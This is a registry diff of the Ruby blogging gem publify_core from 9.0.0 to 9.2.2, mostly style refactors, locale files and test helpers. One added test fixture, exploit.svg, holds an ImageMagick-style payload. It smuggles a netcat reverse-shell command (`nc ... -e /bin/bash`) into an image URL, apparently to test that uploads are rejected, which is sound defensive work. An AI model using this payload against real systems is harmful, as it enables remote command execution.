publify_core 9.0.0 → 9.2.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (360) hide show
  1. checksums.yaml +5 -5
  2. data/CHANGELOG.md +92 -37
  3. data/app/assets/javascripts/bootstrap-sprockets.js +8 -0
  4. data/app/assets/javascripts/bootstrap/affix.js +164 -0
  5. data/app/assets/javascripts/bootstrap/alert.js +95 -0
  6. data/app/assets/javascripts/bootstrap/button.js +125 -0
  7. data/app/assets/javascripts/bootstrap/collapse.js +212 -0
  8. data/app/assets/javascripts/bootstrap/dropdown.js +165 -0
  9. data/app/assets/javascripts/bootstrap/modal.js +358 -0
  10. data/app/assets/javascripts/bootstrap/tab.js +155 -0
  11. data/app/assets/javascripts/bootstrap/transition.js +59 -0
  12. data/app/assets/javascripts/lightbox.js +4 -4
  13. data/app/assets/javascripts/publify_admin.js +1 -35
  14. data/app/assets/stylesheets/_bootstrap-compass.scss +9 -0
  15. data/app/assets/stylesheets/_bootstrap-mincer.scss +19 -0
  16. data/app/assets/stylesheets/_bootstrap-sprockets.scss +9 -0
  17. data/app/assets/stylesheets/_bootstrap.scss +42 -0
  18. data/app/assets/stylesheets/administration_structure.css.scss +1 -45
  19. data/app/assets/stylesheets/bootstrap/_alerts.scss +73 -0
  20. data/app/assets/stylesheets/bootstrap/_button-groups.scss +242 -0
  21. data/app/assets/stylesheets/bootstrap/_buttons.scss +168 -0
  22. data/app/assets/stylesheets/bootstrap/_close.scss +37 -0
  23. data/app/assets/stylesheets/bootstrap/_code.scss +69 -0
  24. data/app/assets/stylesheets/bootstrap/_component-animations.scss +38 -0
  25. data/app/assets/stylesheets/bootstrap/_dropdowns.scss +213 -0
  26. data/app/assets/stylesheets/bootstrap/_forms.scss +586 -0
  27. data/app/assets/stylesheets/bootstrap/_grid.scss +94 -0
  28. data/app/assets/stylesheets/bootstrap/_labels.scss +66 -0
  29. data/app/assets/stylesheets/bootstrap/_media.scss +66 -0
  30. data/app/assets/stylesheets/bootstrap/_mixins.scss +37 -0
  31. data/app/assets/stylesheets/bootstrap/_modals.scss +150 -0
  32. data/app/assets/stylesheets/bootstrap/_navbar.scss +479 -0
  33. data/app/assets/stylesheets/bootstrap/_navs.scss +242 -0
  34. data/app/assets/stylesheets/bootstrap/_normalize.scss +427 -0
  35. data/app/assets/stylesheets/bootstrap/_pagination.scss +86 -0
  36. data/app/assets/stylesheets/bootstrap/_panels.scss +222 -0
  37. data/app/assets/stylesheets/bootstrap/_print.scss +99 -0
  38. data/app/assets/stylesheets/bootstrap/_scaffolding.scss +160 -0
  39. data/app/assets/stylesheets/bootstrap/_tables.scss +234 -0
  40. data/app/assets/stylesheets/bootstrap/_theme.scss +224 -0
  41. data/app/assets/stylesheets/bootstrap/_type.scss +296 -0
  42. data/app/assets/stylesheets/bootstrap/_utilities.scss +55 -0
  43. data/app/assets/stylesheets/bootstrap/_variables.scss +638 -0
  44. data/app/assets/stylesheets/bootstrap/_wells.scss +29 -0
  45. data/app/assets/stylesheets/bootstrap/mixins/_alerts.scss +15 -0
  46. data/app/assets/stylesheets/bootstrap/mixins/_background-variant.scss +12 -0
  47. data/app/assets/stylesheets/bootstrap/mixins/_border-radius.scss +18 -0
  48. data/app/assets/stylesheets/bootstrap/mixins/_buttons.scss +56 -0
  49. data/app/assets/stylesheets/bootstrap/mixins/_center-block.scss +7 -0
  50. data/app/assets/stylesheets/bootstrap/mixins/_clearfix.scss +22 -0
  51. data/app/assets/stylesheets/bootstrap/mixins/_forms.scss +82 -0
  52. data/app/assets/stylesheets/bootstrap/mixins/_gradients.scss +56 -0
  53. data/app/assets/stylesheets/bootstrap/mixins/_grid-framework.scss +81 -0
  54. data/app/assets/stylesheets/bootstrap/mixins/_grid.scss +122 -0
  55. data/app/assets/stylesheets/bootstrap/mixins/_hide-text.scss +21 -0
  56. data/app/assets/stylesheets/bootstrap/mixins/_image.scss +28 -0
  57. data/app/assets/stylesheets/bootstrap/mixins/_labels.scss +12 -0
  58. data/app/assets/stylesheets/bootstrap/mixins/_nav-divider.scss +10 -0
  59. data/app/assets/stylesheets/bootstrap/mixins/_nav-vertical-align.scss +9 -0
  60. data/app/assets/stylesheets/bootstrap/mixins/_opacity.scss +7 -0
  61. data/app/assets/stylesheets/bootstrap/mixins/_pagination.scss +24 -0
  62. data/app/assets/stylesheets/bootstrap/mixins/_panels.scss +20 -0
  63. data/app/assets/stylesheets/bootstrap/mixins/_reset-filter.scss +8 -0
  64. data/app/assets/stylesheets/bootstrap/mixins/_resize.scss +6 -0
  65. data/app/assets/stylesheets/bootstrap/mixins/_responsive-visibility.scss +17 -0
  66. data/app/assets/stylesheets/bootstrap/mixins/_size.scss +10 -0
  67. data/app/assets/stylesheets/bootstrap/mixins/_tab-focus.scss +9 -0
  68. data/app/assets/stylesheets/bootstrap/mixins/_table-row.scss +28 -0
  69. data/app/assets/stylesheets/bootstrap/mixins/_text-emphasis.scss +12 -0
  70. data/app/assets/stylesheets/bootstrap/mixins/_text-overflow.scss +8 -0
  71. data/app/assets/stylesheets/bootstrap/mixins/_vendor-prefixes.scss +222 -0
  72. data/app/assets/stylesheets/lightbox.css +3 -3
  73. data/app/assets/stylesheets/publify_admin.css.scss +0 -1
  74. data/app/controllers/accounts_controller.rb +2 -0
  75. data/app/controllers/admin/base_controller.rb +8 -16
  76. data/app/controllers/admin/content_controller.rb +38 -36
  77. data/app/controllers/admin/dashboard_controller.rb +16 -65
  78. data/app/controllers/admin/feedback_controller.rb +45 -37
  79. data/app/controllers/admin/notes_controller.rb +16 -10
  80. data/app/controllers/admin/pages_controller.rb +19 -29
  81. data/app/controllers/admin/post_types_controller.rb +7 -5
  82. data/app/controllers/admin/profiles_controller.rb +15 -5
  83. data/app/controllers/admin/redirects_controller.rb +9 -5
  84. data/app/controllers/admin/resources_controller.rb +7 -4
  85. data/app/controllers/admin/seo_controller.rb +12 -10
  86. data/app/controllers/admin/settings_controller.rb +7 -5
  87. data/app/controllers/admin/sidebar_controller.rb +6 -5
  88. data/app/controllers/admin/tags_controller.rb +6 -3
  89. data/app/controllers/admin/themes_controller.rb +10 -7
  90. data/app/controllers/admin/users_controller.rb +10 -7
  91. data/app/controllers/articles_controller.rb +49 -33
  92. data/app/controllers/authors_controller.rb +6 -3
  93. data/app/controllers/base_controller.rb +9 -11
  94. data/app/controllers/comments_controller.rb +13 -13
  95. data/app/controllers/content_controller.rb +4 -2
  96. data/app/controllers/feedback_controller.rb +4 -2
  97. data/app/controllers/notes_controller.rb +5 -3
  98. data/app/controllers/setup_controller.rb +15 -12
  99. data/app/controllers/tags_controller.rb +6 -4
  100. data/app/controllers/text_controller.rb +2 -4
  101. data/app/controllers/textfilter_controller.rb +2 -0
  102. data/app/controllers/theme_controller.rb +18 -13
  103. data/app/controllers/xml_controller.rb +2 -0
  104. data/app/helpers/admin/base_helper.rb +28 -29
  105. data/app/helpers/admin/feedback_helper.rb +34 -24
  106. data/app/helpers/articles_helper.rb +4 -2
  107. data/app/helpers/authors_helper.rb +7 -16
  108. data/app/helpers/base_helper.rb +56 -52
  109. data/app/helpers/blog_helper.rb +4 -2
  110. data/app/helpers/xml_helper.rb +3 -1
  111. data/app/jobs/application_job.rb +2 -0
  112. data/app/mailers/notification_mailer.rb +5 -3
  113. data/app/models/ability.rb +25 -23
  114. data/app/models/archives_sidebar.rb +14 -11
  115. data/app/models/article.rb +42 -42
  116. data/app/models/article/factory.rb +14 -6
  117. data/app/models/blog.rb +86 -75
  118. data/app/models/comment.rb +10 -11
  119. data/app/models/config_manager.rb +4 -2
  120. data/app/models/content.rb +37 -50
  121. data/app/models/content_base.rb +10 -4
  122. data/app/models/feedback.rb +21 -17
  123. data/app/models/meta_sidebar.rb +4 -3
  124. data/app/models/note.rb +26 -25
  125. data/app/models/page.rb +9 -8
  126. data/app/models/page_sidebar.rb +4 -2
  127. data/app/models/ping.rb +3 -1
  128. data/app/models/post_type.rb +3 -3
  129. data/app/models/redirect.rb +13 -7
  130. data/app/models/redirection.rb +3 -1
  131. data/app/models/resource.rb +5 -3
  132. data/app/models/search_sidebar.rb +4 -2
  133. data/app/models/sidebar.rb +11 -6
  134. data/app/models/static_sidebar.rb +14 -13
  135. data/app/models/tag.rb +15 -11
  136. data/app/models/tag_sidebar.rb +6 -3
  137. data/app/models/text_filter.rb +85 -11
  138. data/app/models/trackback.rb +7 -11
  139. data/app/models/trigger.rb +7 -4
  140. data/app/models/user.rb +44 -43
  141. data/app/services/title_builder.rb +52 -45
  142. data/app/uploaders/resource_uploader.rb +5 -3
  143. data/app/views/accounts/confirm.html.erb +3 -3
  144. data/app/views/admin/content/_article_list.html.erb +23 -8
  145. data/app/views/admin/content/_form.html.erb +71 -47
  146. data/app/views/admin/content/autosave.js.erb +2 -2
  147. data/app/views/admin/content/edit.html.erb +1 -1
  148. data/app/views/admin/content/index.html.erb +25 -15
  149. data/app/views/admin/content/new.html.erb +2 -2
  150. data/app/views/admin/dashboard/_comment.html.erb +5 -5
  151. data/app/views/admin/dashboard/_comments.html.erb +2 -2
  152. data/app/views/admin/dashboard/_drafts.html.erb +5 -5
  153. data/app/views/admin/dashboard/_overview.html.erb +7 -9
  154. data/app/views/admin/dashboard/_welcome.html.erb +11 -11
  155. data/app/views/admin/dashboard/index.html.erb +12 -7
  156. data/app/views/admin/feedback/_button.html.erb +6 -6
  157. data/app/views/admin/feedback/_feedback.html.erb +3 -3
  158. data/app/views/admin/feedback/_ham.html.erb +27 -9
  159. data/app/views/admin/feedback/_spam.html.erb +26 -16
  160. data/app/views/admin/feedback/article.html.erb +20 -21
  161. data/app/views/admin/feedback/edit.html.erb +14 -15
  162. data/app/views/admin/feedback/{ham.js → ham.js.erb} +0 -0
  163. data/app/views/admin/feedback/index.html.erb +25 -23
  164. data/app/views/admin/feedback/{spam.js → spam.js.erb} +0 -0
  165. data/app/views/admin/migrations/show.html.erb +10 -11
  166. data/app/views/admin/notes/_form.html.erb +13 -13
  167. data/app/views/admin/notes/_list.html.erb +19 -8
  168. data/app/views/admin/notes/_note.html.erb +12 -7
  169. data/app/views/admin/notes/edit.html.erb +6 -1
  170. data/app/views/admin/notes/index.html.erb +5 -1
  171. data/app/views/admin/notes/show.html.erb +2 -2
  172. data/app/views/admin/pages/_form.html.erb +86 -77
  173. data/app/views/admin/pages/_pages.html.erb +11 -4
  174. data/app/views/admin/pages/edit.html.erb +3 -1
  175. data/app/views/admin/pages/index.html.erb +10 -6
  176. data/app/views/admin/pages/new.html.erb +3 -1
  177. data/app/views/admin/post_types/_index_and_form.html.erb +15 -16
  178. data/app/views/admin/post_types/edit.html.erb +1 -1
  179. data/app/views/admin/post_types/index.html.erb +1 -1
  180. data/app/views/admin/profiles/index.html.erb +2 -3
  181. data/app/views/admin/redirects/_index_and_form.html.erb +10 -11
  182. data/app/views/admin/redirects/edit.html.erb +1 -1
  183. data/app/views/admin/redirects/index.html.erb +1 -1
  184. data/app/views/admin/resources/index.html.erb +19 -16
  185. data/app/views/admin/seo/_general.html.erb +23 -47
  186. data/app/views/admin/seo/_permalinks.html.erb +16 -16
  187. data/app/views/admin/seo/_titles.html.erb +63 -64
  188. data/app/views/admin/seo/show.html.erb +14 -19
  189. data/app/views/admin/settings/display.html.erb +22 -25
  190. data/app/views/admin/settings/feedback.html.erb +31 -32
  191. data/app/views/admin/settings/index.html.erb +23 -24
  192. data/app/views/admin/settings/write.html.erb +21 -22
  193. data/app/views/admin/shared/_edit.html.erb +3 -3
  194. data/app/views/admin/shared/_menu.html.erb +26 -26
  195. data/app/views/admin/shared/_twitter_alert.html.erb +1 -1
  196. data/app/views/admin/sidebar/_config.html.erb +5 -5
  197. data/app/views/admin/sidebar/_target_sidebar.html.erb +4 -4
  198. data/app/views/admin/sidebar/index.html.erb +7 -7
  199. data/app/views/admin/tags/_index_and_form.html.erb +11 -12
  200. data/app/views/admin/tags/edit.html.erb +1 -1
  201. data/app/views/admin/tags/index.html.erb +1 -1
  202. data/app/views/admin/themes/index.html.erb +5 -6
  203. data/app/views/admin/users/_form.html.erb +34 -34
  204. data/app/views/admin/users/edit.html.erb +2 -2
  205. data/app/views/admin/users/index.html.erb +10 -12
  206. data/app/views/admin/users/new.html.erb +2 -2
  207. data/app/views/archives_sidebar/_content.html.erb +2 -2
  208. data/app/views/articles/_archives_article.html.erb +3 -3
  209. data/app/views/articles/_article.html.erb +7 -9
  210. data/app/views/articles/_article_author.html.erb +4 -0
  211. data/app/views/articles/_article_content.html.erb +2 -2
  212. data/app/views/articles/_article_excerpt.html.erb +2 -2
  213. data/app/views/articles/_article_links.html.erb +1 -1
  214. data/app/views/articles/_comment_errors.html.erb +1 -1
  215. data/app/views/articles/_comment_form.html.erb +12 -12
  216. data/app/views/articles/_comment_preview.html.erb +3 -3
  217. data/app/views/articles/_password_form.html.erb +4 -4
  218. data/app/views/articles/_trackback.html.erb +2 -2
  219. data/app/views/articles/archives.html.erb +1 -1
  220. data/app/views/articles/feedback_atom_feed.atom.builder +3 -1
  221. data/app/views/articles/feedback_rss_feed.rss.builder +9 -8
  222. data/app/views/articles/index_atom_feed.atom.builder +5 -3
  223. data/app/views/articles/index_rss_feed.rss.builder +10 -9
  224. data/app/views/articles/live_search.html.erb +3 -3
  225. data/app/views/articles/read.html.erb +16 -8
  226. data/app/views/articles/search.html.erb +2 -2
  227. data/app/views/articles/trackback.xml.builder +3 -1
  228. data/app/views/articles/view_page.html.erb +2 -2
  229. data/app/views/authors/show.html.erb +9 -9
  230. data/app/views/authors/show_atom_feed.atom.builder +4 -2
  231. data/app/views/authors/show_rss_feed.rss.builder +10 -9
  232. data/app/views/comments/_comment.html.erb +3 -3
  233. data/app/views/devise/mailer/reset_password_instructions.html.erb +7 -9
  234. data/app/views/devise/passwords/edit.html.erb +4 -4
  235. data/app/views/devise/passwords/new.html.erb +1 -1
  236. data/app/views/devise/registrations/new.html.erb +5 -5
  237. data/app/views/devise/sessions/new.html.erb +3 -3
  238. data/app/views/errors/404.html.erb +2 -2
  239. data/app/views/feedback/index.atom.builder +3 -1
  240. data/app/views/feedback/index.rss.builder +9 -8
  241. data/app/views/layouts/accounts.html.erb +26 -26
  242. data/app/views/layouts/administration.html.erb +31 -31
  243. data/app/views/layouts/default.html.erb +4 -3
  244. data/app/views/layouts/editor.html.erb +5 -19
  245. data/app/views/meta_sidebar/_content.html.erb +2 -2
  246. data/app/views/notes/_note.html.erb +1 -1
  247. data/app/views/notes/index.html.erb +1 -1
  248. data/app/views/notes/show_in_reply.html.erb +1 -1
  249. data/app/views/notification_mailer/_mail_footer.html.erb +3 -3
  250. data/app/views/notification_mailer/article.html.erb +2 -2
  251. data/app/views/notification_mailer/comment.html.erb +5 -5
  252. data/app/views/notification_mailer/notif_user.html.erb +1 -1
  253. data/app/views/page_sidebar/_content.html.erb +1 -1
  254. data/app/views/search_sidebar/_content.html.erb +2 -2
  255. data/app/views/settings/install.html.erb +2 -2
  256. data/app/views/setup/index.html.erb +7 -7
  257. data/app/views/shared/_atom_header.atom.builder +4 -4
  258. data/app/views/shared/_atom_item_article.atom.builder +19 -29
  259. data/app/views/shared/_atom_item_comment.atom.builder +4 -2
  260. data/app/views/shared/_atom_item_trackback.atom.builder +4 -2
  261. data/app/views/shared/_google_analytics.html.erb +8 -0
  262. data/app/views/shared/_page_header.html.erb +9 -12
  263. data/app/views/shared/_rss_item_article.rss.builder +9 -7
  264. data/app/views/shared/_rss_item_comment.rss.builder +3 -1
  265. data/app/views/shared/_rss_item_trackback.rss.builder +3 -1
  266. data/app/views/sidebar/display_plugins.html.erb +1 -1
  267. data/app/views/tag_sidebar/_content.html.erb +1 -1
  268. data/app/views/tags/index.html.erb +1 -1
  269. data/app/views/xml/_googlesitemap_item_article.googlesitemap.builder +2 -0
  270. data/app/views/xml/_googlesitemap_item_category.googlesitemap.builder +2 -0
  271. data/app/views/xml/_googlesitemap_item_page.googlesitemap.builder +2 -0
  272. data/app/views/xml/_googlesitemap_item_tag.googlesitemap.builder +2 -0
  273. data/app/views/xml/sitemap.googlesitemap.builder +4 -2
  274. data/config/i18n-tasks.yml +0 -5
  275. data/config/initializers/devise.rb +10 -4
  276. data/config/initializers/mime_types.rb +3 -1
  277. data/config/locales/da.yml +134 -73
  278. data/config/locales/de.yml +142 -77
  279. data/config/locales/en.yml +128 -68
  280. data/config/locales/es-MX.yml +135 -71
  281. data/config/locales/fr.yml +167 -88
  282. data/config/locales/he.yml +128 -72
  283. data/config/locales/it.yml +136 -74
  284. data/config/locales/ja.yml +110 -66
  285. data/config/locales/lt.yml +153 -76
  286. data/config/locales/nb-NO.yml +123 -67
  287. data/config/locales/nl.yml +140 -77
  288. data/config/locales/pl.yml +329 -240
  289. data/config/locales/pt-BR.yml +137 -72
  290. data/config/locales/ro.yml +148 -72
  291. data/config/locales/ru.yml +161 -71
  292. data/config/locales/zh-CN.yml +106 -61
  293. data/config/locales/zh-TW.yml +109 -63
  294. data/config/routes.rb +68 -63
  295. data/db/migrate/113_initial_schema.rb +191 -191
  296. data/db/migrate/114_fixes_buggy_articles_and_notes.rb +10 -7
  297. data/db/migrate/115_drops_categories_for_tags.rb +5 -4
  298. data/db/migrate/20150207131657_add_missing_indexes.rb +2 -0
  299. data/db/migrate/20150807134129_simplify_redirect_relations.rb +5 -0
  300. data/db/migrate/20150808052637_add_blog_ids.rb +9 -3
  301. data/db/migrate/20150808191127_add_blog_id_to_redirects.rb +2 -0
  302. data/db/migrate/20150810094754_add_blog_id_to_tags.rb +2 -0
  303. data/db/migrate/20160108111120_add_devise_to_users.rb +4 -2
  304. data/db/migrate/20160108184201_move_last_connection_to_last_sign_in_at.rb +2 -0
  305. data/db/migrate/20160110094906_remove_profiles_rights.rb +2 -0
  306. data/db/migrate/20160605103918_replace_profile_id_with_string.rb +2 -0
  307. data/db/migrate/20160605154632_remove_profiles.rb +10 -5
  308. data/db/migrate/20160701061851_demand_blog_id_on_contents.rb +2 -0
  309. data/db/migrate/20160701062604_add_blog_id_to_resources.rb +2 -0
  310. data/db/migrate/20170528093024_move_resources_to_content.rb +2 -0
  311. data/db/migrate/20170528094923_move_tags_to_content.rb +2 -0
  312. data/db/migrate/20170528201606_remove_separate_published_flag.rb +2 -0
  313. data/db/migrate/20170605071626_remove_extra_state_columns_from_feedback.rb +2 -0
  314. data/db/migrate/20170702105201_remove_published_at_from_feedback.rb +2 -0
  315. data/db/migrate/20190208151235_add_text_filter_name_fields.rb +9 -0
  316. data/db/migrate/20190208152646_move_text_filter_to_name.rb +97 -0
  317. data/db/migrate/20190209155717_remove_text_filter_ids.rb +19 -0
  318. data/db/migrate/20190209160610_remove_text_filters.rb +17 -0
  319. data/db/migrate/20200413140440_add_unique_indexes.rb +10 -0
  320. data/db/seeds.rb +8 -20
  321. data/lib/email_notify.rb +3 -1
  322. data/lib/format.rb +4 -12
  323. data/lib/publify_core.rb +36 -35
  324. data/lib/publify_core/engine.rb +11 -4
  325. data/lib/publify_core/lang.rb +5 -1
  326. data/lib/publify_core/testing_support/dns_mock.rb +15 -0
  327. data/lib/publify_core/testing_support/factories.rb +240 -0
  328. data/lib/publify_core/testing_support/feed_assertions.rb +48 -0
  329. data/lib/publify_core/testing_support/fixtures/exploit.svg +4 -0
  330. data/lib/publify_core/testing_support/fixtures/fakepng.png +1 -0
  331. data/lib/publify_core/testing_support/fixtures/otherfile.txt +1 -0
  332. data/lib/publify_core/testing_support/fixtures/testfile.png +0 -0
  333. data/lib/publify_core/testing_support/fixtures/testfile.txt +1 -0
  334. data/lib/publify_core/testing_support/upload_fixtures.rb +15 -0
  335. data/lib/publify_core/version.rb +3 -1
  336. data/lib/publify_guid.rb +3 -1
  337. data/lib/publify_plugins.rb +10 -5
  338. data/lib/publify_textfilter_markdown.rb +38 -25
  339. data/lib/publify_textfilter_none.rb +5 -3
  340. data/lib/publify_textfilter_smartypants.rb +5 -3
  341. data/lib/publify_textfilter_textile.rb +7 -4
  342. data/lib/publify_textfilter_twitterfilter.rb +13 -7
  343. data/lib/publify_time.rb +4 -0
  344. data/lib/sidebar_field.rb +15 -13
  345. data/lib/sidebar_registry.rb +5 -3
  346. data/lib/spam_protection.rb +19 -17
  347. data/lib/tasks/i18n.rake +9 -0
  348. data/lib/tasks/manifest.rake +30 -0
  349. data/lib/tasks/publify_core_tasks.rake +2 -0
  350. data/lib/text_filter_plugin.rb +30 -29
  351. data/lib/theme.rb +5 -5
  352. data/lib/transforms.rb +21 -20
  353. data/themes/plain/javascripts/theme.js +0 -0
  354. metadata +247 -109
  355. data/app/assets/javascripts/widearea.js +0 -486
  356. data/app/assets/stylesheets/widearea.css +0 -133
  357. data/app/controllers/admin/textfilters_controller.rb +0 -6
  358. data/app/views/admin/dashboard/_inbound.html.erb +0 -31
  359. data/app/views/admin/notes/_header.html.erb +0 -6
  360. data/app/views/articles/_protected_article_content.html.erb +0 -6
@@ -0,0 +1,4 @@
1
+ push graphic-context
2
+ viewbox 0 0 640 480
3
+ image over 0,0 0,0 'https://trololo.com" || nc -nv 127.0.0.1 8081 -e /bin/bash"'
4
+ pop graphic-context
@@ -0,0 +1 @@
1
+ This is not really a PNG
@@ -0,0 +1,15 @@
1
+ # frozen_string_literal: true
2
+
3
+ module PublifyCore
4
+ module TestingSupport
5
+ module UploadFixtures
6
+ module_function
7
+
8
+ # Provide file upload helper for all specs
9
+ def file_upload(file = "testfile.txt", mime_type = "text/plain")
10
+ Rack::Test::UploadedFile.new(File.join(__dir__, "fixtures", file),
11
+ mime_type)
12
+ end
13
+ end
14
+ end
15
+ end
@@ -1,3 +1,5 @@
1
+ # frozen_string_literal: true
2
+
1
3
  module PublifyCore
2
- VERSION = '9.0.0'
4
+ VERSION = "9.2.2"
3
5
  end
data/lib/publify_guid.rb CHANGED
@@ -1,4 +1,6 @@
1
- require 'uuidtools'
1
+ # frozen_string_literal: true
2
+
3
+ require "uuidtools"
2
4
 
3
5
  module PublifyGuid
4
6
  def create_guid
@@ -1,3 +1,5 @@
1
+ # frozen_string_literal: true
2
+
1
3
  module PublifyPlugins
2
4
  # Deprecated?
3
5
  def plugin_public_action(action)
@@ -20,7 +22,9 @@ module PublifyPlugins
20
22
  eval "def self.display_name; '#{name}'; end"
21
23
  end
22
24
 
23
- unless defined?(Keeper) # Something in rails double require this module. Prevent that to keep @@registered integrity
25
+ # FIXME: Something in rails double require this module. Prevent that to keep
26
+ # @@registered integrity
27
+ unless defined?(Keeper)
24
28
  class Keeper
25
29
  KINDS = [:avatar, :textfilter].freeze
26
30
  @@registered = {}
@@ -28,6 +32,7 @@ module PublifyPlugins
28
32
  class << self
29
33
  def available_plugins(kind = nil)
30
34
  return @@registered.inspect unless kind
35
+
31
36
  check_kind(kind)
32
37
  @@registered[kind] || []
33
38
  end
@@ -45,7 +50,7 @@ module PublifyPlugins
45
50
  def check_kind(kind)
46
51
  unless KINDS.include?(kind)
47
52
  raise ArgumentError,
48
- "#{kind} is not part of available plugin targets (#{KINDS.join(',')})"
53
+ "#{kind} is not part of available plugin targets (#{KINDS.join(",")})"
49
54
  end
50
55
  end
51
56
  end
@@ -53,15 +58,15 @@ module PublifyPlugins
53
58
  private
54
59
 
55
60
  def initialize
56
- raise 'No instance allowed.'
61
+ raise "No instance allowed."
57
62
  end
58
63
  end
59
64
  end # Defined
60
65
 
61
66
  class Base
62
67
  class << self
63
- attr_accessor :name
64
- attr_accessor :description
68
+ attr_accessor :name, :description
69
+
65
70
  attr_reader :registered
66
71
 
67
72
  def kind
@@ -1,42 +1,55 @@
1
- require 'text_filter_plugin'
2
- require 'bluecloth'
1
+ # frozen_string_literal: true
2
+
3
+ require "text_filter_plugin"
4
+ require "bluecloth"
3
5
 
4
6
  # TODO: Move to a different namespace
5
7
  class PublifyApp
6
8
  class Textfilter
7
9
  class Markdown < TextFilterPlugin::Markup
8
- plugin_display_name 'Markdown'
9
- plugin_description 'Markdown markup language from <a href="http://daringfireball.com/">Daring Fireball</a>'
10
+ plugin_display_name "Markdown"
11
+ plugin_description "Markdown markup language from" \
12
+ ' <a href="http://daringfireball.com/">Daring Fireball</a>'
10
13
 
11
14
  def self.help_text
12
- %{
13
- [Markdown](http://daringfireball.net/projects/markdown/) is a simple text-to-HTML converter that
14
- turns common text idioms into HTML. The [full syntax](http://daringfireball.net/projects/markdown/syntax)
15
- is available from the author's site, but here's a short summary:
16
-
17
- * **Paragraphs**: Start a new paragraph by skipping a line.
18
- * **Italics**: Put text in *italics* by enclosing it in either \* or \_: `*italics*` turns into *italics*.
19
- * **Bold**: Put text in **bold** by enclosing it in two \*s: `**bold**` turns into **bold**.
20
- * **Pre-formatted text**: Enclosing a short block of text in backquotes (&#96;) displays it in a monospaced font
21
- and converts HTML metacharacters so they display correctly. Example: &#96;`<img src="foo"/>`&#96; displays as `<img src="foo"/>`.
22
- Also, any paragraph indented 4 or more spaces is treated as pre-formatted text.
23
- * **Block quotes**: Any paragraph (or line) that starts with a `>` is treated as a blockquote.
24
- * **Hyperlinks**: You can create links like this: `[amazon's web site](http://www.amazon.com)`. That produces
25
- "[amazon's web site](http://www.amazon.com)".
26
- * **Lists**: You can create numbered or bulleted lists by ending a paragraph with a colon (:), skipping a line, and then using
27
- asterisks (*, for bullets) or numbers (for numbered lists). See the
28
- [Markdown syntax page](http://daringfireball.net/projects/markdown/syntax) for examples.
29
- * **Raw HTML**: Markdown will pass raw HTML through unchanged, so you can use HTML's syntax whenever Markdown doesn't provide
30
- a reasonable alternative.
15
+ <<~TXT
16
+ [Markdown](http://daringfireball.net/projects/markdown/) is a simple
17
+ text-to-HTML converter that turns common text idioms into HTML. The
18
+ [full syntax](http://daringfireball.net/projects/markdown/syntax) is
19
+ available from the author's site, but here's a short summary:
31
20
 
32
- }
21
+ * **Paragraphs**: Start a new paragraph by skipping a line.
22
+ * **Italics**: Put text in *italics* by enclosing it in either \* or
23
+ \_: `*italics*` turns into *italics*.
24
+ * **Bold**: Put text in **bold** by enclosing it in two \*s:
25
+ `**bold**` turns into **bold**.
26
+ * **Pre-formatted text**: Enclosing a short block of text in
27
+ backquotes (&#96;) displays it in a monospaced font and converts HTML
28
+ metacharacters so they display correctly. Example:
29
+ &#96;`<img src="foo"/>`&#96; displays as `<img src="foo"/>`. Also,
30
+ any paragraph indented 4 or more spaces is treated as pre-formatted
31
+ text.
32
+ * **Block quotes**: Any paragraph (or line) that starts with a `>` is
33
+ treated as a blockquote.
34
+ * **Hyperlinks**: You can create links like this:
35
+ `[amazon's web site](http://www.amazon.com)`. That produces
36
+ "[amazon's web site](http://www.amazon.com)".
37
+ * **Lists**: You can create numbered or bulleted lists by ending a
38
+ paragraph with a colon (:), skipping a line, and then using asterisks
39
+ (*, for bullets) or numbers (for numbered lists). See the
40
+ [Markdown syntax page](http://daringfireball.net/projects/markdown/syntax)
41
+ for examples.
42
+ * **Raw HTML**: Markdown will pass raw HTML through unchanged, so you
43
+ can use HTML's syntax whenever Markdown doesn't provide a reasonable
44
+ alternative.
45
+ TXT
33
46
  end
34
47
 
35
48
  def self.filtertext(text)
36
49
  # FIXME: Workaround for BlueCloth not interpreting <publify:foo> as an
37
50
  # HTML tag. See <http://deveiate.org/projects/BlueCloth/ticket/70>.
38
51
  escaped_macros = text.gsub(%r{(</?publify):}, '\1X')
39
- html = BlueCloth.new(escaped_macros).to_html.gsub(%r{</?notextile>}, '')
52
+ html = BlueCloth.new(escaped_macros).to_html.gsub(%r{</?notextile>}, "")
40
53
  html.gsub(%r{(</?publify)X}, '\1:')
41
54
  end
42
55
  end
@@ -1,10 +1,12 @@
1
- require 'text_filter_plugin'
1
+ # frozen_string_literal: true
2
+
3
+ require "text_filter_plugin"
2
4
 
3
5
  class PublifyApp
4
6
  class Textfilter
5
7
  class None < TextFilterPlugin::Markup
6
- plugin_display_name 'None'
7
- plugin_description 'Raw HTML only'
8
+ plugin_display_name "None"
9
+ plugin_description "Raw HTML only"
8
10
 
9
11
  def self.filtertext(text)
10
12
  text
@@ -1,10 +1,12 @@
1
- require 'rubypants'
1
+ # frozen_string_literal: true
2
+
3
+ require "rubypants"
2
4
 
3
5
  class PublifyApp
4
6
  class Textfilter
5
7
  class Smartypants < TextFilterPlugin::PostProcess
6
- plugin_display_name 'Smartypants'
7
- plugin_description 'Converts HTML to use typographically correct quotes and dashes'
8
+ plugin_display_name "Smartypants"
9
+ plugin_description "Converts HTML to use typographically correct quotes and dashes"
8
10
 
9
11
  def self.filtertext(text)
10
12
  RubyPants.new(text).to_html
@@ -1,11 +1,13 @@
1
- require 'text_filter_plugin'
2
- require 'RedCloth'
1
+ # frozen_string_literal: true
2
+
3
+ require "text_filter_plugin"
4
+ require "RedCloth"
3
5
 
4
6
  class PublifyApp
5
7
  class Textfilter
6
8
  class Textile < TextFilterPlugin::Markup
7
- plugin_display_name 'Textile'
8
- plugin_description 'Textile markup language'
9
+ plugin_display_name "Textile (Deprecated)"
10
+ plugin_description "Textile markup language"
9
11
 
10
12
  def self.help_text
11
13
  %{
@@ -14,6 +16,7 @@ See [_why's Textile reference](http://hobix.com/textile/).
14
16
  end
15
17
 
16
18
  def self.filtertext(text)
19
+ ActiveSupport::Deprecation.warn "Use of Textile is deprecated"
17
20
  RedCloth.new(text).to_html(:textile)
18
21
  end
19
22
  end
@@ -1,10 +1,12 @@
1
- require 'text_filter_plugin'
1
+ # frozen_string_literal: true
2
+
3
+ require "text_filter_plugin"
2
4
 
3
5
  class PublifyApp
4
6
  class Textfilter
5
7
  class Twitterfilter < TextFilterPlugin::PostProcess
6
- plugin_display_name 'HTML Filter'
7
- plugin_description 'Strip HTML tags'
8
+ plugin_display_name "HTML Filter"
9
+ plugin_description "Strip HTML tags"
